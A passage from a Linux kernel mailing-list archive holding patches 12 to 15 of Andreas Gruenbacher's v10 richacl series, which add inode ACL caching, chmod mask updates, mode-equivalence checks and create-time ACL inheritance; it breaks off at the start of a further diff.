[10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 30C7B461C0; Sun, 11 Oct 2015 23:00:34 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36a016614; Sun, 11 Oct 2015 19:00:27 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 12/46] vfs: Cache richacl in struct inode Date: Mon, 12 Oct 2015 00:58:23 +0200 X-ASG-Orig-Subj: [PATCH v10 12/46] vfs: Cache richacl in struct inode Message-Id: <1444604337-17651-13-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604434 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Cache richacls in struct inode so that this doesn't have to be done individually in each filesystem. This is similar to POSIX ACLs. Signed-off-by: Andreas Gruenbacher --- fs/inode.c | 11 ++++++-- fs/posix_acl.c | 2 +- fs/richacl_base.c | 4 +-- fs/richacl_inode.c | 75 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/fs.h | 5 +++- include/linux/richacl.h | 15 ++++++---- 6 files changed, 100 insertions(+), 12 deletions(-) diff --git a/fs/inode.c b/fs/inode.c index 2a387f4..8462ddb 100644 --- a/fs/inode.c +++ b/fs/inode.c @@ -174,8 +174,11 @@ int inode_init_always(struct super_block *sb, struct inode *inode) inode->i_private = NULL; inode->i_mapping = mapping; INIT_HLIST_HEAD(&inode->i_dentry); /* buggered by rcu freeing */ -#ifdef CONFIG_FS_POSIX_ACL - inode->i_acl = inode->i_default_acl = ACL_NOT_CACHED; +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) + inode->i_acl = ACL_NOT_CACHED; +# if defined(CONFIG_FS_POSIX_ACL) + inode->i_default_acl = ACL_NOT_CACHED; +# endif #endif #ifdef CONFIG_FSNOTIFY @@ -231,11 +234,13 @@ void __destroy_inode(struct inode *inode) atomic_long_dec(&inode->i_sb->s_remove_count); } -#ifdef CONFIG_FS_POSIX_ACL +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) if (inode->i_acl && inode->i_acl != ACL_NOT_CACHED) put_base_acl(inode->i_acl); +# if defined(CONFIG_FS_POSIX_ACL) if (inode->i_default_acl && inode->i_default_acl != ACL_NOT_CACHED) put_base_acl(inode->i_default_acl); +# endif #endif this_cpu_dec(nr_inodes); } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index b3b2265..1d766a5 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -38,7 +38,7 @@ struct posix_acl *get_cached_acl(struct inode *inode, int type) { struct posix_acl **p = acl_by_type(inode, type); struct posix_acl *acl = ACCESS_ONCE(*p); - if (acl) { + if (acl && IS_POSIXACL(inode)) { spin_lock(&inode->i_lock); acl = *p; if (acl != ACL_NOT_CACHED) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 4a10174..78e81df 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -33,7 +33,7 @@ richacl_alloc(int count, gfp_t gfp) struct richacl *acl = kzalloc(size, gfp); if (acl) { - atomic_set(&acl->a_refcount, 1); + atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; } return acl; @@ -52,7 +52,7 @@ richacl_clone(const struct richacl *acl, gfp_t gfp) if (dup) { memcpy(dup, acl, size); - atomic_set(&dup->a_refcount, 1); + atomic_set(&dup->a_base.ba_refcount, 1); } return dup; } diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index 5098717..c0458db 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -20,6 +20,81 @@ #include #include +struct richacl *get_cached_richacl(struct inode *inode) +{ + struct richacl *acl; + + acl = (struct richacl *)ACCESS_ONCE(inode->i_acl); + if (acl && IS_RICHACL(inode)) { + spin_lock(&inode->i_lock); + acl = (struct richacl *)inode->i_acl; + if (acl != ACL_NOT_CACHED) + acl = richacl_get(acl); + spin_unlock(&inode->i_lock); + } + return acl; +} +EXPORT_SYMBOL_GPL(get_cached_richacl); + +struct richacl *get_cached_richacl_rcu(struct inode *inode) +{ + return (struct richacl *)rcu_dereference(inode->i_acl); +} +EXPORT_SYMBOL_GPL(get_cached_richacl_rcu); + +void set_cached_richacl(struct inode *inode, struct richacl *acl) +{ + struct base_acl *old = NULL; + + spin_lock(&inode->i_lock); + old = inode->i_acl; + rcu_assign_pointer(inode->i_acl, &richacl_get(acl)->a_base); + spin_unlock(&inode->i_lock); + if (old != ACL_NOT_CACHED) + put_base_acl(old); +} +EXPORT_SYMBOL_GPL(set_cached_richacl); + +void forget_cached_richacl(struct inode *inode) +{ + struct base_acl *old = NULL; + + spin_lock(&inode->i_lock); + old = inode->i_acl; + inode->i_acl = ACL_NOT_CACHED; + spin_unlock(&inode->i_lock); + if (old != ACL_NOT_CACHED) + put_base_acl(old); +} +EXPORT_SYMBOL_GPL(forget_cached_richacl); + +struct richacl *get_richacl(struct inode *inode) +{ + struct richacl *acl; + + acl = get_cached_richacl(inode); + if (acl != ACL_NOT_CACHED) + return acl; + + if (!IS_RICHACL(inode)) + return NULL; + + /* + * A filesystem can force a ACL callback by just never filling the + * ACL cache. But normally you'd fill the cache either at inode + * instantiation time, or on the first ->get_richacl call. + * + * If the filesystem doesn't have a get_richacl() function at all, + * we'll just create the negative cache entry. + */ + if (!inode->i_op->get_richacl) { + set_cached_richacl(inode, NULL); + return NULL; + } + return inode->i_op->get_richacl(inode); +} +EXPORT_SYMBOL_GPL(get_richacl); + /** * richacl_permission - richacl permission check algorithm * @inode: inode to check diff --git a/include/linux/fs.h b/include/linux/fs.h index 08fde42..d91deef 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -583,6 +583,7 @@ struct base_acl { }; }; struct posix_acl; +struct richacl; #define ACL_NOT_CACHED ((void *)(-1)) #define IOP_FASTPERM 0x0001 @@ -601,9 +602,11 @@ struct inode { kgid_t i_gid; unsigned int i_flags; -#if defined(CONFIG_FS_POSIX_ACL) +#if defined(CONFIG_FS_POSIX_ACL) || defined(CONFIG_FS_RICHACL) struct base_acl *i_acl; +# if defined(CONFIG_FS_POSIX_ACL) struct base_acl *i_default_acl; +# endif #endif const struct inode_operations *i_op; diff --git a/include/linux/richacl.h b/include/linux/richacl.h index a186cb9..3f9dd10 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -33,7 +33,7 @@ struct richace { }; struct richacl { - atomic_t a_refcount; + struct base_acl a_base; unsigned int a_owner_mask; unsigned int a_group_mask; unsigned int a_other_mask; @@ -175,8 +175,7 @@ struct richacl { static inline struct richacl * richacl_get(struct richacl *acl) { - if (acl) - atomic_inc(&acl->a_base.ba_refcount); + get_base_acl(&acl->a_base); return acl; } @@ -186,10 +185,16 @@ richacl_get(struct richacl *acl) static inline void richacl_put(struct richacl *acl) { - if (acl && atomic_dec_and_test(&acl->a_refcount)) - kfree(acl); + BUILD_BUG_ON(offsetof(struct richacl, a_base) != 0); + put_base_acl(&acl->a_base); } +extern struct richacl *get_cached_richacl(struct inode *); +extern struct richacl *get_cached_richacl_rcu(struct inode *); +extern void set_cached_richacl(struct inode *, struct richacl *); +extern void forget_cached_richacl(struct inode *); +extern struct richacl *get_richacl(struct inode *); + /** * richace_is_owner - check if @ace is an OWNER@ entry */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DE5567F8B for ; Sun, 11 Oct 2015 18:00:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7B6CAAC003 for ; Sun, 11 Oct 2015 16:00:43 -0700 (PDT) X-ASG-Debug-ID: 1444604441-04bdf020daa1ae0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6eBef8TvRXwAhqMi (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:41 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id F00EA8EA37; Sun, 11 Oct 2015 23:00:40 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36b016614; Sun, 11 Oct 2015 19:00:34 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 13/46] richacl: Update the file masks in chmod() Date: Mon, 12 Oct 2015 00:58:24 +0200 X-ASG-Orig-Subj: [PATCH v10 13/46] richacl: Update the file masks in chmod() Message-Id: <1444604337-17651-14-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604441 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Doing a chmod() sets the file mode, which includes the file permission bits. When a file has a richacl, the permissions that the richacl grants need to be limited to what the new file permission bits allow. This is done by setting the file masks in the richacl to what the file permission bits map to. The richacl access check algorithm takes the file masks into account, which ensures that the richacl cannot grant too many permissions. It is possible to explicitly add permissions to the file masks which go beyond what the file permission bits can grant (like the RICHACE_WRITE_ACL permission). The POSIX.1 standard calls this an alternate file access control mechanism. A subsequent chmod() would ensure that those permissions are disabled again. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 42 ++++++++++++++++++++++++++++++++++++++++++ fs/richacl_inode.c | 30 ++++++++++++++++++++++++++++++ include/linux/richacl.h | 2 ++ 3 files changed, 74 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 78e81df..764d73a 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -340,3 +340,45 @@ restart: acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); } EXPORT_SYMBOL_GPL(richacl_compute_max_masks); + +/** + * __richacl_chmod - update the file masks to reflect the new mode + * @acl: access control list + * @mode: new file permission bits including the file type + * + * Return a copy of @acl where the file masks have been replaced by the file + * masks corresponding to the file permission bits in @mode, or returns @acl + * itself if the file masks are already up to date. Takes over a reference + * to @acl. + */ +struct richacl * +__richacl_chmod(struct richacl *acl, umode_t mode) +{ + unsigned int x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + unsigned int owner_mask, group_mask, other_mask; + struct richacl *clone; + + owner_mask = richacl_mode_to_mask(mode >> 6) & ~x; + group_mask = richacl_mode_to_mask(mode >> 3) & ~x; + other_mask = richacl_mode_to_mask(mode) & ~x; + + if (acl->a_owner_mask == owner_mask && + acl->a_group_mask == group_mask && + acl->a_other_mask == other_mask && + (acl->a_flags & RICHACL_MASKED) && + (acl->a_flags & RICHACL_WRITE_THROUGH)) + return acl; + + clone = richacl_clone(acl, GFP_KERNEL); + richacl_put(acl); + if (!clone) + return ERR_PTR(-ENOMEM); + + clone->a_flags |= (RICHACL_WRITE_THROUGH | RICHACL_MASKED); + clone->a_owner_mask = owner_mask; + clone->a_group_mask = group_mask; + clone->a_other_mask = other_mask; + + return clone; +} +EXPORT_SYMBOL_GPL(__richacl_chmod); diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index c0458db..be11832 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -222,3 +222,33 @@ out: return denied ? -EACCES : 0; } EXPORT_SYMBOL_GPL(richacl_permission); + +/** + * richacl_chmod - filesystem chmod helper + * @inode: inode whose file permission bits to change + * @mode: new file permission bits including the file type + * + * Helper for filesystems to use to perform a chmod on the richacl of an inode. + */ +int +richacl_chmod(struct inode *inode, umode_t mode) +{ + struct richacl *acl; + int retval; + + if (S_ISLNK(mode)) + return -EOPNOTSUPP; + if (!inode->i_op->set_richacl) + return -EOPNOTSUPP; + acl = get_richacl(inode); + if (IS_ERR_OR_NULL(acl)) + return PTR_ERR(acl); + acl = __richacl_chmod(acl, mode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + retval = inode->i_op->set_richacl(inode, acl); + richacl_put(acl); + + return retval; +} +EXPORT_SYMBOL(richacl_chmod); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 3f9dd10..152000c 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -303,8 +303,10 @@ extern int richacl_masks_to_mode(const struct richacl *); extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); +extern struct richacl *__richacl_chmod(struct richacl *, umode_t); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); +extern int richacl_chmod(struct inode *, umode_t); #endif /* __RICHACL_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B46677F58 for ; Sun, 11 Oct 2015 18:00:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A4E88304048 for ; Sun, 11 Oct 2015 16:00:49 -0700 (PDT) X-ASG-Debug-ID: 1444604448-04cbb05fc13d620001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hloyh6EcDVdlp6sY (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:48 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id E13748CF55; Sun, 11 Oct 2015 23:00:47 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36c016614; Sun, 11 Oct 2015 19:00:41 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 14/46] richacl: Check if an acl is equivalent to a file mode Date: Mon, 12 Oct 2015 00:58:25 +0200 X-ASG-Orig-Subj: [PATCH v10 14/46] richacl: Check if an acl is equivalent to a file mode Message-Id: <1444604337-17651-15-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604448 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher ACLs are considered equivalent to file modes if they only consist of owner@, group@, and everyone@ entries, the owner@ permissions do not depend on whether the owner is a member in the owning group, and no inheritance flags are set. This test is used to avoid storing richacls if the acl can be computed from the file permission bits. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 104 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 105 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 764d73a..f4b8d3c 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -382,3 +382,107 @@ __richacl_chmod(struct richacl *acl, umode_t mode) return clone; } EXPORT_SYMBOL_GPL(__richacl_chmod); + +/** + * richacl_equiv_mode - compute the mode equivalent of @acl + * + * An acl is considered equivalent to a file mode if it only consists of + * owner@, group@, and everyone@ entries and the owner@ permissions do not + * depend on whether the owner is a member in the owning group. + */ +int +richacl_equiv_mode(const struct richacl *acl, umode_t *mode_p) +{ + umode_t mode = *mode_p; + + /* + * The RICHACE_DELETE_CHILD flag is meaningless for non-directories, so + * we ignore it. + */ + unsigned int x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + struct { + unsigned int allowed; + unsigned int defined; /* allowed or denied */ + } owner = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | + RICHACE_POSIX_OWNER_ALLOWED | x, + }, group = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | x, + }, everyone = { + .defined = RICHACE_POSIX_ALWAYS_ALLOWED | x, + }; + const struct richace *ace; + + if (acl->a_flags & ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED)) + return -1; + + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & ~RICHACE_SPECIAL_WHO) + return -1; + + if (richace_is_owner(ace) || richace_is_everyone(ace)) { + x = ace->e_mask & ~owner.defined; + if (richace_is_allow(ace)) { + unsigned int group_denied = + group.defined & ~group.allowed; + + if (x & group_denied) + return -1; + owner.allowed |= x; + } else /* if (richace_is_deny(ace)) */ { + if (x & group.allowed) + return -1; + } + owner.defined |= x; + + if (richace_is_everyone(ace)) { + x = ace->e_mask; + if (richace_is_allow(ace)) { + group.allowed |= + x & ~group.defined; + everyone.allowed |= + x & ~everyone.defined; + } + group.defined |= x; + everyone.defined |= x; + } + } else if (richace_is_group(ace)) { + x = ace->e_mask & ~group.defined; + if (richace_is_allow(ace)) + group.allowed |= x; + group.defined |= x; + } else + return -1; + } + + if (group.allowed & ~owner.defined) + return -1; + + if (acl->a_flags & RICHACL_MASKED) { + if (acl->a_flags & RICHACL_WRITE_THROUGH) { + owner.allowed = acl->a_owner_mask; + everyone.allowed = acl->a_other_mask; + } else { + owner.allowed &= acl->a_owner_mask; + everyone.allowed &= acl->a_other_mask; + } + group.allowed &= acl->a_group_mask; + } + + mode = (mode & ~S_IRWXUGO) | + (richacl_mask_to_mode(owner.allowed) << 6) | + (richacl_mask_to_mode(group.allowed) << 3) | + richacl_mask_to_mode(everyone.allowed); + + /* Mask flags we can ignore */ + x = S_ISDIR(mode) ? 0 : RICHACE_DELETE_CHILD; + + if (((richacl_mode_to_mask(mode >> 6) ^ owner.allowed) & ~x) || + ((richacl_mode_to_mask(mode >> 3) ^ group.allowed) & ~x) || + ((richacl_mode_to_mask(mode) ^ everyone.allowed) & ~x)) + return -1; + + *mode_p = mode; + return 0; +} +EXPORT_SYMBOL_GPL(richacl_equiv_mode); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 152000c..9561db0 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -304,6 +304,7 @@ extern unsigned int richacl_mode_to_mask(umode_t); extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); +extern int richacl_equiv_mode(const struct richacl *, umode_t *); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:00:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D216F7F58 for ; Sun, 11 Oct 2015 18:00:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B298B8F8040 for ; Sun, 11 Oct 2015 16:00:56 -0700 (PDT) X-ASG-Debug-ID: 1444604455-04cbb05fc13d630001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id AfRE6StK2OcwjO4q (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:00:55 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id C575591E9A; Sun, 11 Oct 2015 23:00:54 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36d016614; Sun, 11 Oct 2015 19:00:48 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 15/46] richacl: Create-time inheritance Date: Mon, 12 Oct 2015 00:58:26 +0200 X-ASG-Orig-Subj: [PATCH v10 15/46] richacl: Create-time inheritance Message-Id: <1444604337-17651-16-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604455 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher When a new file is created, it can inherit an acl from its parent directory; this is similar to how default acls work in POSIX (draft) ACLs. As with POSIX ACLs, if a file inherits an acl from its parent directory, the intersection between the create mode and the permissions granted by the inherited acl determines the file masks and file permission bits, and the umask is ignored. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 68 +++++++++++++++++++++++++++++++++++++++++++++++ fs/richacl_inode.c | 70 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 2 ++ 3 files changed, 140 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index f4b8d3c..cb5081e 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -486,3 +486,71 @@ richacl_equiv_mode(const struct richacl *acl, umode_t *mode_p) return 0; } EXPORT_SYMBOL_GPL(richacl_equiv_mode); + +/** + * richacl_inherit - compute the inherited acl of a new file + * @dir_acl: acl of the containing directory + * @isdir: inherit by a directory or non-directory? + * + * A directory can have acl entries which files and/or directories created + * inside the directory will inherit. This function computes the acl for such + * a new file. If there is no inheritable acl, it will return %NULL. + */ +struct richacl * +richacl_inherit(const struct richacl *dir_acl, int isdir) +{ + const struct richace *dir_ace; + struct richacl *acl = NULL; + struct richace *ace; + int count = 0; + + if (isdir) { + richacl_for_each_entry(dir_ace, dir_acl) { + if (!richace_is_inheritable(dir_ace)) + continue; + count++; + } + if (!count) + return NULL; + acl = richacl_alloc(count, GFP_KERNEL); + if (!acl) + return ERR_PTR(-ENOMEM); + ace = acl->a_entries; + richacl_for_each_entry(dir_ace, dir_acl) { + if (!richace_is_inheritable(dir_ace)) + continue; + richace_copy(ace, dir_ace); + if (dir_ace->e_flags & RICHACE_NO_PROPAGATE_INHERIT_ACE) + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + else if (!(dir_ace->e_flags & RICHACE_DIRECTORY_INHERIT_ACE)) + ace->e_flags |= RICHACE_INHERIT_ONLY_ACE; + ace++; + } + } else { + richacl_for_each_entry(dir_ace, dir_acl) { + if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) + continue; + count++; + } + if (!count) + return NULL; + acl = richacl_alloc(count, GFP_KERNEL); + if (!acl) + return ERR_PTR(-ENOMEM); + ace = acl->a_entries; + richacl_for_each_entry(dir_ace, dir_acl) { + if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) + continue; + richace_copy(ace, dir_ace); + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + /* + * RICHACE_DELETE_CHILD is meaningless for + * non-directories, so clear it. + */ + ace->e_mask &= ~RICHACE_DELETE_CHILD; + ace++; + } + } + + return acl; +} diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index be11832..4f3a1b7 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -252,3 +252,73 @@ richacl_chmod(struct inode *inode, umode_t mode) return retval; } EXPORT_SYMBOL(richacl_chmod); + +/* + * richacl_inherit_inode - compute inherited acl and file mode + * @dir_acl: acl of the containing directory + * @mode_p: mode of the new inode + * + * The file permission bits in @mode_p must be set to the create mode by the + * caller. + * + * If there is an inheritable acl, the maximum permissions that the acl grants + * are computed and the file masks of the new acl are set accordingly. + */ +static struct richacl * +richacl_inherit_inode(const struct richacl *dir_acl, umode_t *mode_p) +{ + struct richacl *acl; + umode_t mode = *mode_p; + + acl = richacl_inherit(dir_acl, S_ISDIR(mode)); + if (acl) { + if (richacl_equiv_mode(acl, &mode) == 0) { + *mode_p &= mode; + richacl_put(acl); + acl = NULL; + } else { + richacl_compute_max_masks(acl); + /* + * Ensure that the acl will not grant any permissions + * beyond the create mode. + */ + acl->a_flags |= RICHACL_MASKED; + acl->a_owner_mask &= + richacl_mode_to_mask(mode >> 6); + acl->a_group_mask &= + richacl_mode_to_mask(mode >> 3); + acl->a_other_mask &= + richacl_mode_to_mask(mode); + } + } else + *mode_p &= ~current_umask(); + + return acl; +} + +/** + * richacl_create - filesystem create helper + * @mode_p: mode of the new inode + * @dir: containing directory + * + * Compute the inherited acl for a new inode. If there is no acl to inherit, + * apply the umask. Use when creating a new inode on a richacl enabled file + * system. + */ +struct richacl *richacl_create(umode_t *mode_p, struct inode *dir) +{ + struct richacl *dir_acl, *acl = NULL; + + if (S_ISLNK(*mode_p)) + return NULL; + dir_acl = get_richacl(dir); + if (dir_acl) { + if (IS_ERR(dir_acl)) + return dir_acl; + acl = richacl_inherit_inode(dir_acl, mode_p); + richacl_put(dir_acl); + } else + *mode_p &= ~current_umask(); + return acl; +} +EXPORT_SYMBOL_GPL(richacl_create); diff --git a/include/linux/richacl.h 